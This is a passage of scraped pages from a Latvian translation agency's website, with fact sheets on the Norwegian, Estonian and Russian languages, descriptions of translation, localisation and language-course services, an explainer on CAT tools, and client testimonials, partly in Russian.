resemblance to the new Norwegian language. 92% of publications are in bokmål, which leaves only 8% to nynorsk. Bokmål is more prevalent in Oslo and other large cities, while nynorsk is mostly used in the western part of the country. Norwegian has a plethora of dialects, which have formed due to geographic factors: thick forests, fjords, and the mountainous terrain, which prevented isolated communities from maintaining regular contact with each other. Nowadays, Norwegian is characterised by many loans from the English language, mainly in the fields of economics and technologies. English as the first foreign language in Norwegian schools was introduced in 1935. The influence of English considerably increased after World War II. The fields with the most loan words are economics, finances, and business. Hybrid words, in which the first part is of English origin and the second part of Norwegian origin, are also common. It is estimated that up to 90% of neologisms are influenced by the English language. Norwegian sentence structure is strictly organised – each part of the sentence has its own fixed place. Nouns have only two cases, while verbs have no personal endings. The language uses articles. The Norwegian alphabet is the same as the Danish: it consists of 29 letters, including 23 letters of the Latin alphabet as well as J, W, U, Æ, Ø, and Å. Language code: ISO 639-1: no OUR MOST POPULAR NORWEGIAN LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. LANGUAGE COMBINATIONS: Latvian to Norwegian; Norwegian to Latvian; Estonian to Norwegian; Norwegian to Estonian; Lithuanian to Norwegian; Norwegian to Lithuanian; Russian to Norwegian; Norwegian to Russian; Polish to Norwegian; Norwegian to Polish; Ukrainian to Norwegian; Norwegian to Ukrainian; English to Norwegian; Norwegian to English; Norwegian to Spanish; Spanish to Norwegian; German to Norwegian; Norwegian to German; Italian to Norwegian; Norwegian to Italian; French to Norwegian; Norwegian to French; Danish to Norwegian; Norwegian to Danish; Czech to Norwegian; Norwegian to Czech; Swedish to Norwegian; Norwegian to Swedish; Finnish to Norwegian; Norwegian to Finnish and others. OUR MOST POPULAR NORWEGIAN LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. LANGUAGE COMBINATIONS: Latvian to Norwegian; Norwegian to Latvian; Estonian to Norwegian; Norwegian to Estonian; Lithuanian to Norwegian; Norwegian to Lithuanian; Russian to Norwegian; Norwegian to Russian; Polish to Norwegian; Norwegian to Polish; Ukrainian to Norwegian; Norwegian to Ukrainian; English to Norwegian; Norwegian to English; Norwegian to Spanish; Spanish to Norwegian; German to Norwegian; Norwegian to German; Italian to Norwegian; Norwegian to Italian; French to Norwegian; Norwegian to French; Danish to Norwegian; Norwegian to Danish; Czech to Norwegian; Norwegian to Czech; Swedish to Norwegian; Norwegian to Swedish; Finnish to Norwegian; Norwegian to Finnish and others. --- > General and specialised translations in Estonian language. Interpreting and other Estonian language solutions. Get a free quote! - Published: 2017-11-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/ - Translation Priorities: Optional ESTONIAN TRANSLATIONS HOW MUCH DO TRANSLATIONS TO ESTONIAN COST? Of course. The price list of written translation, as well as interpretation (consecutive and simultaneous), localisation and adaptation to and from Estonian is an integral part in our cooperation agreement with the client. Before placing the translation project order, the translation project managers at Skrivanek Baltic always provide information on the price of the translation. The price offer is prepared within 30 minutes. When calculating the price for written orders, the number of words and repetitions in the original text, graphic element complexity and other parameters are taken into account. For you to receive a price offer, send us your material to our e-mail. Contact Skrivanek Baltic today for a free quote on Estonian translation or any other combination of translation and related business services. Our Estonian language services include: Estonian Document Translation Estonian Simultaneous Interpretation Estonian Linguistic Validation Estonian Consecutive Interpretation Estonian Transcription Estonian Typesetting and Graphics Estonian Voiceovers and Subtitling Estonian Staffing Solutions Estonian Multicultural Marketing Estonian Document Management Estonian Deposition Services Estonian Virtual Data Room Services Estonian E-learning Support Looking for a language solution in Estonian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit FACTS ABOUT THE ESTONIAN LANGUAGE Estonian is spoken in the northern regions of Europe. This language belongs to the Baltic Finnic languages of the Finno-Ugric language family. According to scholars, Proto-Finno-Ugric tribes inhabited very vast territories that reached far beyond the Ural Mountains where Iranian tribes lived. However, in around the year 3000 BCE they moved closer to the Baltic Sea, where they started establishing close cultural ties with the local Baltic tribes. In archaeological monuments, these tribes are recognised as the representatives of the Pit–Comb Ware Culture. Estonian is related to the Livonian, Finnish and Votic languages, but are unlike the languages of its neighbouring countries Russia, Latvia, and Sweden. Estonian and Finnish developed when the Proto-Finno-Ugric tribes, which used the so-called Proto-Finnic language in communication, split. The modern-day Estonian is much more different from Proto-Finnic than Finnish; however, Estonian still uses some archaisms that are no longer found in Finnish. Estonian is spoken by about 1. 1 million people, and it is the second smallest language in the world that holds the status of an official language (the first being Icelandic). As the official language is it used in Estonia, and as a minority language in Russia and Latvia. Estonian has two dialects: Northern (used in Tallinn) and Southern (used in Tartu). The Northern dialect is also used on Estonian islands: in the Lääne, Harju, Järva, and Viru counties, as well as in the northern parts of Pärnu, Viljandi, and Tartu counties. The Estonian used on the islands is distinctly Swedish. The Southern dialect is spoken in the southern parts of Pärnu, Viljandi, and Tartu counties. The modern-day literary Estonian language is based mainly on the Northern dialect. Since the 16th century, there have been two varieties of the written language, one for each of the dialects spoken in the country. The Bible translation, which was published in 1739, was defining in the development of the literary Estonian language, being the first source to include both of the language varieties. The most well-known linguists of the 19th century actively involved in creating the literary Estonian were Ed. Ahrens, F. J. Wiedemann, J. Hurt, and M. Veske. From then on, Estonian literature also experienced rapid development. The evolution of Estonian writing was fascinating. At the end of the 19th century, linguist M. Veske started a movement that aimed to incorporate the phonetic characteristics of certain dialects in the written language. This movement was so successful that for a while there were two parallel literary languages in Estonia. The earliest loan words come from the Baltic, Germanic, Indo-Iranian, and Slavic languages, while the latest come from Latvian, Russian, German, and Swedish. Yet there are few internationalisms in Estonian. The writing system is based on the Latin alphabet that still maintains its German influences: it contains three independent letters with the diacritical mark umlaut (Ä, Ö, and Ü). Estonian is a language rich in grammatical cases, which there are fourteen of. In addition to the cases familiar to us, such as nominative and genitive, there is also partitive (part or quantity of an object), illative (motion toward or into something), elative (motion out of or away from something), allative (motion toward someplace), adessive (the state of being on something), ablative (motion away from something), essive (the location or state of being), translative (the process of changing or becoming), comitative, or accompaniment case (being in the company of someone); and terminative, or restrictive case (limit in space and time). The language has many vowels, which are sorted by their length: short, half-long, long, and overlong. Diphthongs and consonants can also be short, half-long, and long. Estonian consists of 45% vowels and 55% consonants. The Estonian verbal system uses four tenses, one present and three past tenses, but lacks a future tense. Estonian verbs can take two infinitive forms. The main stress is always on the first syllable of the word, while the third syllable receives a secondary stress. Word order is relatively free, and the meaning of sentences can be understood even when not using the proper order. All nouns and adjectives have the same endings in their singular and plural forms. Special suffixes are used to create the plural. One and the same pronoun refers to both genders, because there are no grammatical genders in Estonian. There is also no superlative in Estonian. Instead, intensifying particles are used at the end of words to denote degrees of quality. This language has a distinctive relative mood and negative conjugation, but it has no prepositions, hence no verbs with prepositions can be made. This is why it has so many grammatical cases. It is considered one of the most difficult languages in the world. Language code: ISO 639-1: et OUR MOST POPULAR ESTONIAN LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. LANGUAGE COMBINATIONS: Latvian to Estonian; Estonian to Latvian; Estonian to Czech; Czech to Estonian; Lithuanian to Czech; Czech to Lithuanian; Russian to Estonian; Estonian to Russian; Polish to Estonian; Estonian to Polish; Ukrainian to Estonian; Estonian to Ukrainian; English to Estonian; Estonian to English; Estonian to Spanish; Spanish to Estonian; German to Estonian; Estonian to German; Italian to Estonian; Estonian to Italian; French to Estonian; Estonian to French; Danish to Estonian; Estonian to Danish; Norwegian to Estonian; Estonian to Norwegian; Swedish to Estonian; Estonian to Swedish; Finnish to Estonian; Estonian to Finnish and others. OUR MOST POPULAR CZECH LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. LANGUAGE COMBINATIONS: Latvian to Czech; Czech to Latvian; Estonian to Czech; Czech to Estonian; Lithuanian to Czech; Czech to Lithuanian; Russian to Czech; Czech to Russian; Polish to Czech; Czech to Polish; Ukrainian to Czech; Czech to Ukrainian; English to Czech; Czech to English; Czech to Spanish; Spanish to Czech; German to Czech; Czech to German; Italian to Czech; Czech to Italian; French to Czech; Czech to French; Danish to Czech; Czech to Danish; Norwegian to Czech; Czech to Norwegian; Swedish to Czech; Czech to Swedish; Finnish to Czech; Czech to Finnish and others. --- > General and specialised, notary-certified translations, interpretation, localisation services. Russian language courses. - Published: 2017-11-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/ - Translation Priorities: Optional RUSSIAN TRANSLATIONS HOW MUCH DO TRANSLATIONS TO RUSSIAN COST? Of course. The price list of written translation, as well as interpretation (consecutive and simultaneous), localisation and adaptation to and from Russian is an integral part in our cooperation agreement with the client. Before placing the translation project order, the translation project managers at Skrivanek Baltic always provide information on the price of the translation. The price offer is prepared within 30 minutes. When calculating the price for written orders, the number of words and repetitions in the original text, graphic element complexity and other parameters are taken into account. For you to receive a price offer, send us your material to our e-mail. Contact Skrivanek Baltic today for a free quote on Russian translation or any other combination of translation and related business services. Our Russian language services include: Russian Document Translation Russian Simultaneous Interpretation Russian Linguistic Validation Russian Consecutive Interpretation Russian Transcription Russian Typesetting and Graphics Russian Voiceovers and Subtitling Russian Staffing Solutions Russian Multicultural Marketing Russian Document Management Russian Deposition Services Russian Virtual Data Room Services Russian E-learning Support Looking for a language solution in Russian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit FACTS ABOUT THE RUSSIAN LANGUAGE Russian is a Slavic language that belongs to the family of Indo-European languages. The origins of the Russian language date back to before the 7th century AD, when tribes that until then had spoken Proto-Slavic began to use three regional subgroups of the language: East Slavic, West Slavic and South Slavic. East Slavic, or Old Russian, was the official language of Kievan Rus. The decline of the language followed the disintegration of the polity in the 14th century. An important factor in the development of the Russian language was the work of the Saints Cyril and Methodius, Christian missionaries from the Byzantine Empire who arrived in Kievan Rus in 988. Thanks to their efforts, ‘Cyrillic script’ was created on the basis of the Glagolitic alphabet invented by the saints, which is still used today as the official alphabet for the national languages of Russia and several other Slavic nations. After the fall of Kievan Rus and the invasion of the Golden Horde in the 14th century, East Slavic evolved into several languages, including the Russian language. Russian is comprised of the northern Russian dialects, in which the unstressed “o” is pronounced clearly, and southern Russian dialects where the unstressed “o” is mainly reduced to “a”, plus central Russian dialects spoken from Moscow to St. Petersburg. Standard Russian originates from the latter. Since 1942 the Russian alphabet has consisted of 33 letters, it is based on the Cyrillic script. There are about 160,000 words in Russian in total. Stressed vowels carry much importance in Russian, but there are no uniform grammar rules as to which vowels have to be stressed. Sometimes stressing different vowels in homographic words can change their meaning. Ivan Fyodorov (Иван Фёдоров) (1520–1583) was the first Russian printer and publisher. He published the first book in Russian, “Апостол” (Apostolos), in 1564. The first newspaper printed in Russia was “Ведомости” (Vedomosti) upon Peter the Great’s decree of 16 December 1703. The first Russian newspaper in the territory of Latvia was “Российское еженедельное издание в Риге” (Russian Weekly Publication in Riga), printed in 1816 in Riga. One of the most famous Russian poets and writers, Alexander Pushkin, is considered the founder of modern Russian literature. Russian is the native tongue to approximately 145 million people, it is the eighth most spoken language in the world, and the fourth by total number of speakers (255 – 280 million). Russian is the official language in several countries besides Russia: Belarus, Kazakhstan and Kyrgyzstan. The proportion of Russian speakers is also high in countries such as Israel, Latvia, Lithuania, Moldova, Ukraine and others. In Latvia, Russian is the second most widely spoken language after Latvian. Language code: ISO 639-1: ru OUR MOST POPULAR RUSSIAN LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. LANGUAGE COMBINATIONS: Latvian to Russian; Russian to Latvian; Estonian to Russian; Russian to Estonian; Lithuanian to Russian; Russian to Lithuanian; Czech to Russian; Russian to Czech; Polish to Russian; Russian to Polish; Ukrainian to Russian; Russian to Ukrainian; English to Russian; Russian to English; Spanish to Russian; Russian to Spanish; German to Russian; Russian to German; Italian to Russian; Russian to Italian; French to Russian; Russian to French; Danish to Russian; Russian to Danish; Norwegian to Russian; Russian to Norwegian; Swedish to Russian; Russian to Swedish; Finnish to Russian; Russian to Finnish and others. OUR MOST POPULAR RUSSIAN LANGUAGE SOLUTIONS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. LANGUAGE COMBINATIONS: Latvian to Russian; Russian to Latvian; Estonian to Russian; Russian to Estonian; Lithuanian to Russian; Russian to Lithuanian; Czech to Russian; Russian to Czech; Polish to Russian; Russian to Polish; Ukrainian to Russian; Russian to Ukrainian; English to Russian; Russian to English; Spanish to Russian; Russian to Spanish; German to Russian; Russian to German; Italian to Russian; Russian to Italian; French to Russian; Russian to French; Danish to Russian; Russian to Danish; Norwegian to Russian; Russian to Norwegian; Swedish to Russian; Russian to Swedish; Finnish to Russian; Russian to Finnish and others. --- > Translation tools (CAT) are special software for translators designed to increase quality and productivity. Learn of their advantages! - Published: 2017-11-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-riki/ - Translation Priorities: Optional WHAT ARE TRANSLATION MEMORY PROGRAMMES (COMPUTER AIDED TRANSLATION OR CAT)? Even though computers are becoming more powerful, they are still unable to compete with humans in regard to the translation process. However, the last decades have seen the production of increasingly useful “computer aided translations” (CAT) or “intelligent translation programmes”. These programmes weren’t created to replace translators, but rather to work with them and improve the overall speed and quality of translations. Today, working with translation memory programmes is considered a common necessary for translators, and even more so for translation companies. These tools help get the job done better, faster and with more precision! But it’s important to remember that CAT programmes are not automated translation programmes, but aides for qualified translators, editors and proofreaders in their daily line of work. CAT tools can be used for the majority of translation projects. Translation memory programmes: help build a precise and client-approved terminology and company-specific concepts for each individual client or project; ensure the cataloguing of repetitions to provide clients with increasingly qualitative translations; saves time spent translating and costs. However, there are cases where CAT tools will not work. For example: if the text is handwritten; if the translation memory programme is unable to connect to the text file provided by the client; if the document to be translated is hard to read or illegible (i. e. scanned files in PDF format). When using CAT tools, translation costs are calculated based on a prior analysis of the document. The analysis determines repeated text, as well as partial or full matches with the existing translation memory. Essentially, these matches are identified on a per-sentence level and not by word. This means the entire document is analysed sentence-by-sentence and compared with the other sentences in the document, as well as any previous sentences stored in the translation memory. Repetitions are sentences that occur two or more times within a single document. Once this sentence is translated, it is not necessary for it to be translated again. Experience shows that this type of repeated sentence structure is most often found in handbooks, annual reports, contracts, prescription drug pamphlets and other such standard texts. Repetitions are also analysed based on compatibility. For example, if you need translations for prescription drug pamphlets, translations using the CAT tools will render sentences that will have already been translated and that will repeat. In these cases these texts won't have to be translated again, but will be offered as translations based on the existing (and client-approved) translation memory. This helps translate documents faster, with greater consistency and while saving costs. Translation memory programmes are useful tools for standard legal and economic texts (annual reports), as well as technical texts (technical reports, instructions, user manuals) and prescription drug pamphlets. CAT tools are also effective for website text translations because they work with XML, HTML and other Internet platform formats. Translation memory programmes can simplify the working process with texts from any number of other sectors, especially if the client knows this or a similar terminology will be used in the future as well. Automated translation programmes have been developed to maximise the speed with which the meaning of a word, sentence or phrase is understood. This is done by entering a text into a programme screen. The most popular automated translation programmes (also referred to as machine-based translation programmes) are: Pragma, Promt and Google Translate. Because language is a very specific thing and is a form of communication unique to humans, the existing automated translation programmes are very rarely able to provide adequate translation results. This is why professional translators and language service companies do not use such programmes. WHAT ARE THE MOST COMMON CAT PROGRAMMES THAT WE USE? The current worldwide favourites are: Memsource; SDL Trados; Across; Transit NXT; Wordfast Pro; MemoQ; Crowdin; etc. IN NEED OF A TRANSLATION? LOOKING FOR A LANGUAGE SOLUTION OR A CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Translation, interpreting and other language services in the most popular combinations of European languages. Get a free quote! - Published: 2017-11-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/ - Translation Priorities: Optional Afrikaans Akkadian Albanian Amharic Arabic Armenian Aymara Azerbaijani Bashkir Belarusian Bengali Bislama Bosnian Bulgarian Burmese Buryat Catalan Creole Croatian Chinese Chukchi Czech Danish Dari Divehi Dutch (Flemish) Dzongkha English Estonian Faroese Farsi Finnish French Georgian German Greek Guarani Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kazakh Khmer Kinyarwanda Kirghiz Komi Kongo Korean Kosraean Kurdish Rundi Lao Latin Latvian Lithuanian Tswana Macedonian Malagasy Malay Maltese Marathi Moldavian Mongolian Nauru Ndebele Nepali Norwegian Nyanja (Chichewa) Palauan Pedi Persian Polish Portuguese Pushto Quechua Romanian Russian Samoan Sanskrit Serbian Sesotho (Sotho) Sinhalese Slovak Slovenian Spanish Somali Sumerian Swahili Swazi Swedish Tagalog Tajik Tamil Tatar Thai Tibetan Tigre Tonga Turkish Turkmen Ukrainian Urdu Uzbek Venda Vietnamese Wolof Other Languages OUR MOST POPULAR LANGUAGE SERVICES AMONGST CUSTOMERS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. STILL LOOKING FOR THE RIGHT LANGUAGE OR A CONSULTATION? Send inquiry MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates MOST POPULAR TRANSLATION FIELDS Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Learn languages quickly and efficiently at the Skrivanek Training Centre. Highly qualified local and foreign teachers. Find out more! - Published: 2017-11-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/valodu-kursi/ - Translation Priorities: Optional FOR COMPANIES We provide language training for Latvian companies and international corporations, as well as government and municipal institutions. Your employees will benefit from courses of different proficiency levels or intensive language training. With our vast experience and large number of teachers we can tackle any foreign language training project, no matter how big or difficult. Contact us FOR INDIVIDUALS Achieve your goals with our language courses! Learn foreign languages quickly and efficiently at our group language classes, private lessons, or remotely. Acquire new skills while having fun at our exciting language classes! Contact us CHILDREN’S CAMPS Our Language School’s camps for children and youths are a great way to spend the school holidays in all seasons – by acquiring practical foreign language skills and meeting new friends. The camp programmes are licensed and tailored to the age of the children. Contact us FREQUENTLY ASKED QUESTIONS Yes, Skrivanek offers not only group and individual classes in more than 25 languages, but also a vast selection of offers for children and youths. Individual classes are often the choice of our corporate clients due to their efficiency. FOCUS is an online language competence audit tool that allows you to test the language skills of your candidates in an efficient and thorough manner. The test’s written part includes grammar, vocabulary, and reading comprehension. The FOCUS tool also tests spoken and written language skills, thus providing a comprehensive and accurate final evaluation. This tool is a must in the recruiting process! EFFECTO is a patented language learning method developed for Skrivanek language schools around the world. This method is special due to its high level of learning efficiency. MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates --- > Изучайте иностранные языки быстро и эффективно в учебном центре Skrivanek. Высококвалифицированные местные и зарубежные преподаватели! - Published: 2017-11-30 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/valodu-kursi/ - Translation Priorities: Optional ДЛЯ ПРЕДПРИЯТИЙ Мы предлагаем языковые курсы латвийским предприятиям, международным корпорациям, а также государственным и муниципальным учреждениям. В спектр наших услуг входит обучение сотрудников с разным уровнем знаний, а также организация интенсивных языковых курсов. Богатый опыт и широкий выбор преподавателей позволяют нам реализовывать учебные проекты любого масштаба и любой сложности. Свяжитесь с нами ДЛЯ ЧАСТНЫХ ЛИЦ Курсы иностранных языков для важных целей! Хотите, чтобы изучение иностранных языков было быстрым и эффективным? Запишитесь на групповые курсы, индивидуальные занятия или удаленное обучение! Практические знания и приятное времяпрепровождение гарантированы! Свяжитесь с нами ДЛЯ ДЕТЕЙ И МОЛОДЕЖИ Специально разработанные программы изучения иностранных языков помогают детям и молодежи быстро и увлеченно осваивать новые языки, а также закреплять полученные знания. Учиться с нами весело и полезно! Свяжитесь с нами ДЕТСКИЕ ЛАГЕРЯ Организуемые Языковой школой детские и молодежные лагеря – это отличный способ провести школьные каникулы в любое время года, найти новых друзей и освоить иностранный язык на практике. Программы лагерей лицензированы и соответствуют возрасту детей. Свяжитесь с нами ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Да, Skrivanek предлагает не только групповое и индивидуальное обучение (в нашем ассортименте более 25 языков! ), но и широкий выбор занятий для детей и молодежи. Индивидуальные занятия ввиду их эффективности часто выбирают корпоративные клиенты. FOCUS – это онлайн-инструмент для проверки уровня владения иностранными языками, позволяющий всесторонне проверить знания кандидата. В письменную часть теста входит задания на грамматику, словарный запас и понимание прочитанного текста. Кроме того, в рамках FOCUS тестируются речь и письмо, таким образом, мы оцениваем знания по целому ряду критериев. Этот инструмент – бесценный помощник при отборе персонала! EFFECTO – это особый, запатентованный метод обучения языкам, разработанный для языковых школ Skrivanek по всему миру и существенно повышающий эффективность занятий. УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO --- > We will not only provide translations, but also make sure that the localised products and software function well. 👍️ - Published: 2017-11-24 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/ - Translation Priorities: Optional WEBSITE TRANSLATION Translating websites has never been easier! Our specialists will provide optimal translation and localisation solutions to make sure your website suits the needs and local characteristics of your region or market. Read more AUDIO AND VIDEO FILE LOCALISATION Qualitative recordings in any language – after our specialists have transcribed and translated your file, we will deliver a professional end result in audio or video format. Contact us SOFTWARE LOCALISATION Precise and accurate adaptation of software to the requirements of the respective country – we will translate your software or application, making sure to preserve its settings. Contact us LOCALISATION OF E-LEARNING CONTENT AND SOLUTIONS People around the world increasingly choose to acquire new skills and knowledge online; therefore, we recommend you not to hesitate with the localisation of your learning content or e-solution in at least some of the most popular languages in the world or in your region. Read more DIGITAL MARKETING CONTENT LOCALISATION Digital marketing, including websites and thought-out online media campaigns, captures the hearts and minds of your customers with messages in a virtual environment, while social networks allow them to build closer relationships among themselves. The special way of making your product unique can be lost in a mere, classic translation: that’s where marketing content localisation comes to your aid. Read more GOOGLE ADS AND SEO TRANSLATIONS Making your website available in several languages will significantly improve its competitive advantage. Our specialists will localise your website according to the latest SEO principles to make it appear as high as possible in organic searches, as well as adapt keywords for Google Ads advertising to make sure your potential clients can easily find you. Read more LOOKING FOR LOCALISATION SERVICES OR CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry FREQUENTLY ASKED QUESTIONS We can translate anything in virtually any electronic format, while still preserving the formatting of the original document. In the case of localisation services, we stick to the specific instructions provided by the client or settings dictated by software. We’d love to! Skrivanek has vast experience and knowledge in translating and localising different websites and content management systems. We always ensure a professional approach and find the most suitable solution for your specific situation to ensure the best results in the respective language combinations. Yes, oftentimes we even create teams of language specialists for our cooperation partners, which means that the services are provided by the same translators or interpreters as before. We welcome your feedback and will gladly engage the same language specialist. Our regular clients also have their own project managers. WE PROVIDE LANGUAGE SOLUTIONS FOR DIFFERENT INDUSTRIES IN MORE THAN 300 LANGUAGE COMBINATIONS Czech Language Danish Language Estonian Language Finnish Language French Language German Language Greek Language Italian Language Lithuanian Language Norwegian Language Polish Language Russian Language Spanish Language Swedish Language Other Languages MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Языковые услуги для Вашего успеха в бизнесе и повседневной жизни – письменные и устные переводы, языковые курсы, локализация и т. д. Более 25 лет опыта. - Published: 2017-11-24 - Modified: 2020-02-25 - URL: https://skrivanek.lv/pakalpojumi/ - Translation Priorities: Optional Письменные переводы Мы предлагаем качественные письменные переводы в необходимой языковой комбинации, а также гарантируем конфиденциальность и соблюдение оговоренных сроков. Устные переводы Мы предоставляем различные виды устного перевода, привлекая специалистов, которые владеют более чем 40 языками в различных комбинациях. Локализация Мы не только выполняем перевод, но и следим за тем, чтобы локализованный продукт или программное обеспечение работало должным образом. Языковые курсы Мы организуем языковые курсы для работников предприятий и учреждений, а также частных лиц с различным уровнем знаний. ЧаВо Мы выполняем устный и письменный перевод и предлагаем широкий спектр языковых решений. Наши устные переводчики работают на конференциях и деловых встречах, а также оказывают поддержку в ходе судебных процессов. Письменные переводы включают специализированные и общие переводы в различных областях. Кроме того, мы выполняем локализацию и адаптацию, занимаемся копирайтингом, компьютерной версткой и преподаванием языков. Несмотря на то, что запросы в основном поступают от предприятий, мы с радостью оказываем услуги частным лицам. Чаще всего частным лицам требуются нотариально заверенные переводы; кроме того, очень востребованы языковые курсы и лагеря для детей и подростков. Наша команда окажет помощь в любой ситуации. Нет, все заказы принимаются и управляются руководителем проектов, который выполняет роль посредника между заказчиком и переводчиком. Устные и письменные переводчики Skrivanek Baltic владеют более чем 110 языками! Уже более 25 лет на рынке! Мы имеем богатый опыт перевода текстов на различные темы. 110+ Языков в различных комбинациях 14+ млн Слов переведено в 2019 году 3000+ Специалистов по различным языкам 4 Сертификата ISO Что наши клиенты говорят о нас Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема. Jazz Communications Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием. Прокуратура Латвийской Республики, Служба административного директора Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой. Служба государственных доходов Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовый пойти навстречу. Департамент городского развития Рижской думы Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, 